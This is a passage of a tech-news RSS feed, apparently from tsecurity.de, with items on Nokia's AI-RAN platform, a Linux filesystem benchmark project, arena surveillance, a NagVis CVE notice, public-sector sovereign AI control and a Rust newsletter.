<p class="wp-block-paragraph">Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including <a href="https://www.networkworld.com/article/4128115/is-private-5g-6g-important-after-all.html">providing a path to 6G</a>. The partnership with Nvidia brings CUDA and AI into mobile environments.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.</p>



<h2 class="wp-block-heading">What AI-RAN actually is</h2>



<p class="wp-block-paragraph">At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. <a href="https://www.linkedin.com/in/cheers/">Udayan Mukherjee</a>, Nokia’s CTO for RAN and core, summarized the vision in the <a href="https://www.networkworld.com/article/4200815/AI-RAN-analyst-briefing-20260714_095948-Meeting-Recording-2-_1_otter_ai_transcript.txt">analyst briefing</a>: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”</p>



<p class="wp-block-paragraph">Several pillars stand out:</p>



<ul class="wp-block-list">
<li>AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.</li>



<li>Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.</li>



<li>Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.</li>



<li>Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.</li>
</ul>



<h2 class="wp-block-heading">Why AI-RAN matters for operators</h2>



<p class="wp-block-paragraph">Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.</p>



<p class="wp-block-paragraph">First, spectrum constraints. <a href="https://www.linkedin.com/in/aji-ed/">Aji Ed</a>, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.</p>



<p class="wp-block-paragraph">Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.</p>



<p class="wp-block-paragraph">Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.</p>



<p class="wp-block-paragraph">For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.</p>



<h2 class="wp-block-heading">Nokia’s differentiation strategy</h2>



<p class="wp-block-paragraph">Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”</p>



<p class="wp-block-paragraph">Several differentiators emerge:</p>



<ul class="wp-block-list">
<li>Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.</li>



<li>Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.</li>



<li>Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.</li>



<li>Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.</li>
</ul>



<p class="wp-block-paragraph">Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.</p>



<h2 class="wp-block-heading">How AI-RAN unlocks new revenue</h2>



<p class="wp-block-paragraph">Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.</p>



<p class="wp-block-paragraph">Examples include:</p>



<ul class="wp-block-list">
<li>Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”</li>



<li>Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.</li>



<li>Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.</li>



<li>Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.</li>
</ul>



<p class="wp-block-paragraph">Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:</p>



<ul class="wp-block-list">
<li>Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.</li>



<li>Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.</li>



<li>Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.</li>
</ul>



<p class="wp-block-paragraph">For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”</p>



<h2 class="wp-block-heading">Adoption path and reality check</h2>



<p class="wp-block-paragraph">Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.</p>



<p class="wp-block-paragraph">There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[FirstFT: China’s Xi Jinping pursues AI diplomacy to woo developing countries]]></title>
<description><![CDATA[Also in today’s newsletter: US hits 60 countries with new tariffs and Modi vows ‘swift’ justice for India exam leaks]]></description>
<link>https://tsecurity.de/de/3690410/ai-nachrichten/firstft-chinas-xi-jinping-pursues-ai-diplomacy-to-woo-developing-countries/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690410/ai-nachrichten/firstft-chinas-xi-jinping-pursues-ai-diplomacy-to-woo-developing-countries/</guid>
<pubDate>Fri, 24 Jul 2026 00:50:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Also in today’s newsletter: US hits 60 countries with new tariffs and Modi vows ‘swift’ justice for India exam leaks]]></content:encoded>
</item>
<item>
<title><![CDATA[I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts]]></title>
<description><![CDATA[Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place. I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their fea...]]></description>
<link>https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:06 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.</p> <p>I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.</p> <p>The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.</p> <p>Hosted CI dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/">https://bartosz.fenski.pl/modern-fs-benchmark/</a></p> <p>Experimental real-hardware dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/">https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/</a></p> <p>Apache-2.0 licensed source and complete methodology:</p> <p><a href="https://github.com/fenio/modern-fs-benchmark">https://github.com/fenio/modern-fs-benchmark</a></p> <p>The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.</p> <p><strong>Why I started this project</strong></p> <p>Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.</p> <p>General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.</p> <p>I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.</p> <p>That means testing behavior such as:</p> <p>- Redundancy and degraded operation</p> <p>- Snapshot aging, scaling and reclamation</p> <p>- Compression and encryption</p> <p>- Reflinks and clone divergence</p> <p>- Fsync tail latency and responsiveness under load</p> <p>- Rebuild and scrub behavior</p> <p>- Near-full and hard-ENOSPC behavior</p> <p>- Data integrity and recovery from corruption</p> <p>Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.</p> <p>Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.</p> <p>Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.</p> <p>The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.</p> <p><strong>An important limitation</strong></p> <p>The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.</p> <p>The hosted runs are primarily useful for:</p> <p>- Correctness and integrity outcomes</p> <p>- Comparisons within the same job</p> <p>- Large behavioral differences</p> <p>- Snapshot-aging and near-full shapes</p> <p>- Trends across repeated runs</p> <p>Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.</p> <p>I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.</p> <p><strong>The real-hardware experiment</strong></p> <p>Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.</p> <p>The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.</p> <p>During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.</p> <p>The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.</p> <p>I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.</p> <p><strong>Where I would like to take it</strong></p> <p>Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.</p> <p>I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.</p> <p>That could support scenarios such as:</p> <p>- HDD, SSD and NVMe baselines using identical workloads</p> <p>- bcachefs foreground and background targets</p> <p>- ZFS HDD data vdevs with SSD special vdevs</p> <p>- Separate ZFS L2ARC and SLOG experiments</p> <p>- LVM dm-cache in writeback and writethrough modes</p> <p>- Metadata and small-block placement on faster media</p> <p>- Foreground latency during background migration</p> <p>- Contention between fast and slow storage tiers</p> <p>- Degraded operation and rebuild under application load</p> <p>- Performance before, during and after promoting or evacuating a storage tier</p> <p>These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.</p> <p>I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.</p> <p>For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.</p> <p>I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.</p> <p>I would appreciate technical feedback:</p> <p>- Which current tests are misleading or unfair?</p> <p>- Which failure scenarios are missing?</p> <p>- Which mixed-media topologies would be most useful?</p> <p>- Which additional filesystems or layered stacks should be included?</p> <p>- Which results deserve deeper investigation?</p> <p>The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/bfenski"> /u/bfenski </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[For Taylor Swift, Madison Square Garden’s Controversial Cameras Briefly Went Dark]]></title>
<description><![CDATA[MSG’s sprawling surveillance system can monitor guests down to the second. Its owners made an exception for the pop star’s rehearsal dinner. This article has been indexed from Security Latest Read the original article: For Taylor Swift, Madison Square Garden’s…
Read more →
The post For Taylor Swi...]]></description>
<link>https://tsecurity.de/de/3690003/it-security-nachrichten/for-taylor-swift-madison-square-gardens-controversial-cameras-briefly-went-dark/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690003/it-security-nachrichten/for-taylor-swift-madison-square-gardens-controversial-cameras-briefly-went-dark/</guid>
<pubDate>Thu, 23 Jul 2026 20:38:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>MSG’s sprawling surveillance system can monitor guests down to the second. Its owners made an exception for the pop star’s rehearsal dinner. This article has been indexed from Security Latest Read the original article: For Taylor Swift, Madison Square Garden’s…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/for-taylor-swift-madison-square-gardens-controversial-cameras-briefly-went-dark/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/for-taylor-swift-madison-square-gardens-controversial-cameras-briefly-went-dark/">For Taylor Swift, Madison Square Garden’s Controversial Cameras Briefly Went Dark</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[For Taylor Swift, Madison Square Garden’s Controversial Cameras Briefly Went Dark]]></title>
<description><![CDATA[MSG’s sprawling surveillance system can monitor guests down to the second. Its owners made an exception for the pop star’s rehearsal dinner.]]></description>
<link>https://tsecurity.de/de/3689983/it-nachrichten/for-taylor-swift-madison-square-gardens-controversial-cameras-briefly-went-dark/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689983/it-nachrichten/for-taylor-swift-madison-square-gardens-controversial-cameras-briefly-went-dark/</guid>
<pubDate>Thu, 23 Jul 2026 20:32:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[MSG’s sprawling surveillance system can monitor guests down to the second. Its owners made an exception for the pop star’s rehearsal dinner.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-3979 | NagVis up to 1.9.33 CoreLogonMultisite.php checkAuthCookie hash type conversion (EUVD-2022-43308 / Nessus ID 235043)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in NagVis up to 1.9.33. This affects the function checkAuthCookie of the file share/server/core/classes/CoreLogonMultisite.php. Executing a manipulation of the argument hash can lead to incorrect type conversion.

This vulnerability is handled a...]]></description>
<link>https://tsecurity.de/de/3689876/sicherheitsluecken/cve-2022-3979-nagvis-up-to-1933-corelogonmultisitephp-checkauthcookie-hash-type-conversion-euvd-2022-43308-nessus-id-235043/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689876/sicherheitsluecken/cve-2022-3979-nagvis-up-to-1933-corelogonmultisitephp-checkauthcookie-hash-type-conversion-euvd-2022-43308-nessus-id-235043/</guid>
<pubDate>Thu, 23 Jul 2026 19:41:12 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/nagvis">NagVis up to 1.9.33</a>. This affects the function <code>checkAuthCookie</code> of the file <em>share/server/core/classes/CoreLogonMultisite.php</em>. Executing a manipulation of the argument <em>hash</em> can lead to incorrect type conversion.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2022-3979">CVE-2022-3979</a>. The attack can be executed remotely. There is not any exploit available.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Thu, 23 Jul 2026 11:05:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 661]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</guid>
<pubDate>Thu, 23 Jul 2026 07:18:12 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
